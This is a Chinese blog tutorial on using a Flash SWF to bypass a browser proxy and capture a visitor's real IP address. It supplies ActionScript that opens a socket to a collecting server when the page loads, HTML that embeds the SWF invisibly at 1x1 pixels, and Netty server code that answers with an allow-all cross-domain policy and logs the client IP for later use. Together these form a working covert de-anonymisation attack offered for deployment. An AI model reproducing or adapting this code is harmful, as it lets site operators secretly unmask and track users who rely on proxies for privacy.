`

利用Flash绕过浏览器代理获取真实IP

 
阅读更多
虽然有人说Flash已死,但研究一下,也未尝不可。

利用Flash绕过浏览器代理获取真实IP,主要原理就是,当flash文件加载完成时,可以发起TCP连接,而这个连接是不会经过浏览器代理的,因此可以获得用户真实IP。

首先制作flash。
创建一个flash项目并创建默认的fla文件:



把trueip.fla关联到trueip.as文件。这样在trueip.fla生成的swf文件被浏览器加载时,就会执行trueip.as的默认构造函数:




trueip.as代码如下:
package  {
	
	import flash.display.*;
    import flash.events.*;
    import flash.external.*;
    import flash.net.*;
    import flash.system.*;
    import flash.text.*;
	
	
	public class trueip extends Sprite {
		
		private var socketPort:Number = 9080;
		private var socketServer:String = "10.77.32.10";
		private var socket:XMLSocket;
		
		public function trueip() {
			Security.allowDomain("*");
            Security.allowInsecureDomain("*");
            this.loaderInfo.addEventListener(Event.COMPLETE, this.loadComplete);
            return;
		}
		
		
		private function loadComplete(event:Event) : void
        {
            this.socket = new XMLSocket();
            this.socket.connect(this.socketServer, this.socketPort);
            return;
        }
		
	}
	
}


代码很简单,就是在构造函数执行完毕后,发起socket连接。
当socket连接建立后,还可以发送数据与服务端交互。这里我省略了。

最后调试,调试没问题后就可以发布了,最终生成trueip.swf文件,并在网页中加载:




在网页中引用swf文件:
[align=middle]  
             <param name="allowScriptAccess" value="always" />  
             <param name="movie" value="trueip.swf">  
             <param name="quality" value="high">  
             <param name="wmode" value="transparent" />  
             <embed src="trueip.swf" name="trueip" quality="high" allowScriptAccess="always"  swLiveConnect="true" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"  width="1" height="1"></embed>  
            </object>  
    [/align] 
	


TCP服务端

选用netty实现。

要注意两点:

1.flash XMLSocket的报文格式
Each XML message is a complete XML document, terminated by a zero (0) byte.
可见,每个报文是以“\0”结束,因此非常适合使用netty的DelimiterBasedFrameDecoder来解码。

2.flash加载时,会向端口发起连接,并发送一个字符串,内容为 "<policy-file-request/>",并等待返回安全策略文件并分析。
此时TCP服务端可以简单地返回:
"<cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\" /></cross-domain-policy>"

下面看看netty server怎么处理:

首先是报文的解析:
public class MyChannelPipelineFactory implements ChannelPipelineFactory {

    private static final String FLASH_XML_SOCKET_END = "\0";
    
    @Override
    public ChannelPipeline getPipeline() throws Exception {
        return Channels.pipeline(
                new MyDelimiterBasedFrameDecoder(8192, true, lineDelimiter()),
                new FlashMessageHandler()
                );
    }

    public static ChannelBuffer[] lineDelimiter() {
        return new ChannelBuffer[] {
                ChannelBuffers.wrappedBuffer(FLASH_XML_SOCKET_END.getBytes()),
        };
    }

如果不记录原始报文的话,则直接使用netty提供的DelimiterBasedFrameDecoder就可以了。
我这里为了记录原始报文,扩展了DelimiterBasedFrameDecoder:
	
	/**
 * 在解码之前打印收到的消息
 * @author ljn
 *
 */
public class MyDelimiterBasedFrameDecoder extends DelimiterBasedFrameDecoder{
    
    
    private static final Logger logger = LoggerFactory.getLogger(MyDelimiterBasedFrameDecoder.class);

    public MyDelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ChannelBuffer delimiter) {
        super(maxFrameLength, stripDelimiter, delimiter);
    }
    
    public MyDelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ChannelBuffer... lineDelimiter) {
        super(maxFrameLength, stripDelimiter, lineDelimiter);
    }

    @Override
    public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) throws Exception {
        ChannelBuffer buffer = (ChannelBuffer) e.getMessage();
        logger.info("receive msg={}", buffer.toString(CharsetUtil.UTF_8));
        super.messageReceived(ctx, e);
    }

}


报文解码后,针对不同的报文做不同处理:
如果是安全策略请求的,则返回策略文件;
如果是正常的数据交互,则可以获取用户端IP(数据处理略去)
	public class FlashMessageHandler extends SimpleChannelHandler {

    public static final Logger logger = LoggerFactory.getLogger(FlashMessageHandler.class);

    //flash安全策略请求
    private static final String POLICY_FILE_REQUEST = "<policy-file-request/>";
    private static String resp = "<cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\" /></cross-domain-policy>";
    
    @Override
    public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) {
        
        //唯一标识一次请求
        final String id = "DFS" + UUID.randomUUID().toString().replace("-", "");
        
        ChannelBuffer buff = (ChannelBuffer)e.getMessage();  
        String msg = (String)buff.toString(CharsetUtil.UTF_8); 
        
        logger.info("msg={}, id={}", msg, id);
        
        if (POLICY_FILE_REQUEST.equals(msg)) {
            byte[] bytes = resp.getBytes(CharsetUtil.UTF_8);
            ChannelBuffer buffer = ChannelBuffers.buffer(bytes.length);
            buffer.writeBytes(bytes);
            ChannelFuture future = ctx.getChannel().write(buffer);
            future.addListener(new ChannelFutureListener() {
                public void operationComplete(ChannelFuture future) {
                    logger.info("success to write {} response. id={}", POLICY_FILE_REQUEST, id);
                    Channel ch = future.getChannel();
                    ch.close();
                }
            });
        } else {
                
                String ip = null;
                InetSocketAddress inetSocketAddress = null;
                SocketAddress remoteAddress = ctx.getChannel().getRemoteAddress();
                if (remoteAddress instanceof InetSocketAddress) {
                    inetSocketAddress = (InetSocketAddress)remoteAddress;
                    if (inetSocketAddress != null && inetSocketAddress.getAddress() != null) {
                        ip = inetSocketAddress.getAddress().getHostAddress();
                    }
                }
                
				//拿到IP之后可以保存起来作进一步的使用...
				//...
            
       }
    }


}


这样,就可以拿到用户的真实IP了。

此外,flash理论上还可以实现跨浏览器的cookie共享。原理就是不同浏览器的flash读写cookie时,都是同一位置的同一cookie文件中。但由于flash对安全问题的考虑也越来越全面,想利用flash实现跨浏览器的共享,基本是不靠谱了。据我的测试,跨浏览器的共享cookie,很不稳定,有时可以,有时不行。

关于flash cookie的问题,可以参考网上的这篇文章:
http://ylq365.iteye.com/blog/1873382


  • 大小: 13.6 KB
  • 大小: 18.4 KB
  • 大小: 14.9 KB
1
2
分享到:
评论

相关推荐

    最新flashplayer 播放器 浏览器插件

    最新flashplayer 播放器 浏览器插件

    最新FLASH播放器,用于浏览器插件

    标题中的“最新FLASH播放器,用于浏览器插件”揭示了我们讨论的核心——Adobe Flash Player,一个曾经在互联网上广泛使用的多媒体软件平台,主要用于在网页浏览器中播放动态内容,如动画、视频和交互式应用程序。...

    ASP.Net使用flash控件时浏览器刷新解决CODE

    在探讨“ASP.Net使用flash控件时浏览器刷新问题”这一主题时,我们首先需要理解几个核心概念:ASP.Net、Flash控件以及浏览器刷新机制。本文将深入解析如何在ASP.Net应用中有效处理与Flash控件相关的浏览器刷新问题,...

    flash 兼容各种浏览器播放视频代码

    Flash Player插件因其广泛安装而成为视频内容创作者的首选工具,能够支持各种浏览器,包括Internet Explorer(IE)、Firefox、Chrome、360浏览器以及Safari等。本文将深入探讨如何使用Flash来实现这一目标,以及相关...

    浏览器能播放flash

    7. **安全考虑**:由于Flash的安全漏洞经常被黑客利用,为了保护用户的计算机安全,浏览器厂商会定期发布更新来封堵这些漏洞。但随着Flash的退役,用户应避免继续使用Flash Player,以免遭受潜在的安全风险。 8. **...

    Zero Clipboard 利用 Flash 进行复制 跨浏览器兼容

    由于Flash具有访问剪贴板的权限,而JavaScript在某些浏览器中受到安全限制,这种方法可以绕过这些限制,实现跨浏览器的复制功能。 **主要特点** 1. **跨浏览器兼容性**:Zero Clipboard支持各种主流浏览器,包括...

    自带flash插件的浏览器

    标题中的“自带flash插件的浏览器”指的是这款浏览器内置了Adobe Flash Player插件,这是一个曾经...它利用了CEF技术,使得用户无需额外安装Flash Player即可直接享受游戏,是应对当前浏览器趋势变化的一个解决方案。

    Pyside QtWebEngine网页浏览器打开Flash网页

    1. **获取Pepper Flash Player**:你需要找到一个兼容的Pepper Flash Player插件文件(通常为`.dll`或`.so`格式,取决于你的操作系统),这可能需要从旧版的Chrome或Chromium安装目录中获取,或者从网络上找到合适的...

    CefFlashBrowser - Flash浏览器

    **CefFlashBrowser** 是一个基于C#和WPF开发的浏览器应用,其特色在于它默认支持Adobe Flash Player,这在现代浏览器中已逐渐成为稀缺功能。随着Flash逐渐被淘汰,许多浏览器不再内置或支持Flash插件,而...

    唯一支持Flash的手机浏览器SkyFire For Symbian V3最新版(免签名)

    智能手机浏览器目前有很多,像UCWeb,Opera等,但这些手机浏览器都不支持flash,skyfire是目前所知唯一支持浏览flash的手机浏览器,现在,你可以用手机上开心网了。这是Symbian V3版本,直接安装,无需签名。

    Flash版的图片浏览器,含Flash源文件.rar

    本项目中,开发者巧妙地利用了Flash的特性,构建了一个逼真的图片浏览器,不仅实现了基本的图片浏览功能,如前后翻页、缩放等,还可能包括旋转、裁剪等高级功能,旨在为用户提供接近原生操作系统的体验。 Flash...

    浏览器开启Flash教程

    ### 浏览器开启Flash教程 随着互联网技术的发展与演进,Flash曾是网页互动内容、视频播放等的重要组成部分。然而,随着HTML5等新技术的出现,Flash的重要性逐渐下降,并最终于2020年底被Adobe正式停止支持。尽管...

    swfupload flash上传兼容所有浏览器

    它的核心功能是利用Flash技术实现跨浏览器的文件上传,即便是在那些不支持HTML5的旧版浏览器中也能保持良好的兼容性。 SWFUpload 的工作原理是利用Flash Player插件与JavaScript进行交互,用户选择文件后,文件数据...

    Flash 13浏览器插件

    Flash 13浏览器插件是互联网上用于播放和交互多媒体内容的重要工具,尤其在过去的几年里,它在视频、游戏和动态网页设计中扮演了关键角色。Flash技术由Adobe公司开发,提供了丰富的用户体验,使网站能够展示动画、...

    浏览器flash播放器

    flash_player10.3 浏览器flash播放插件

    非常棒的flash全景浏览器,适合房产,装饰环境浏览

    【标题】中的“非常棒的flash全景浏览器”指的是专门用于展示360度全景图像的软件工具,这种浏览器通常基于Adobe Flash技术,能够提供沉浸式的视觉体验,让用户仿佛置身于房产或装饰环境中。Flash全景浏览器使得房...

    Flash XML图集浏览器.rar

    《Flash XML图集浏览器》是一款基于Flash技术的图像展示应用,其核心在于通过XML文件进行配置,实现灵活的图片切换效果。XML(Extensible Markup Language)是一种轻量级的、可扩展的标记语言,常用于数据交换和配置...

    清除Flash缓存和各种浏览器缓存的方法.docx

    清除Flash缓存和各种浏览器缓存的方法 清除Flash缓存和各种浏览器缓存的方法是计算机用户常用的技术技能,以解决浏览器缓存引发的问题,如卡机、进不去、游戏滞后等问题。下面将详细介绍清除Flash缓存和各种浏览器...

    FlashCookie 不被浏览器清除的Cookie

    1. 更新Flash Player到最新版本,以获取最新的安全补丁。 2. 使用隐私浏览模式,或者限制非必要的Flash内容加载。 3. 定期检查并清理FlashPlayer的本地存储设置,通常可以在Flash Player的控制面板中找到这个选项。 ...

    c# winfrom 利用cefsharp做的浏览器,支持flash、MP3、mp4,内核为84.4.1

    这应该是能支持flash的最新版本的cef内核了(84以后的版本尝试过均不支持flash),anycpu方式flash也无法运行,所以直接设置了x86编译,基本上能支持的都支持了,packages文件夹中已经放置了修改过的cef内核,...

Global site tag (gtag.js) - Google Analytics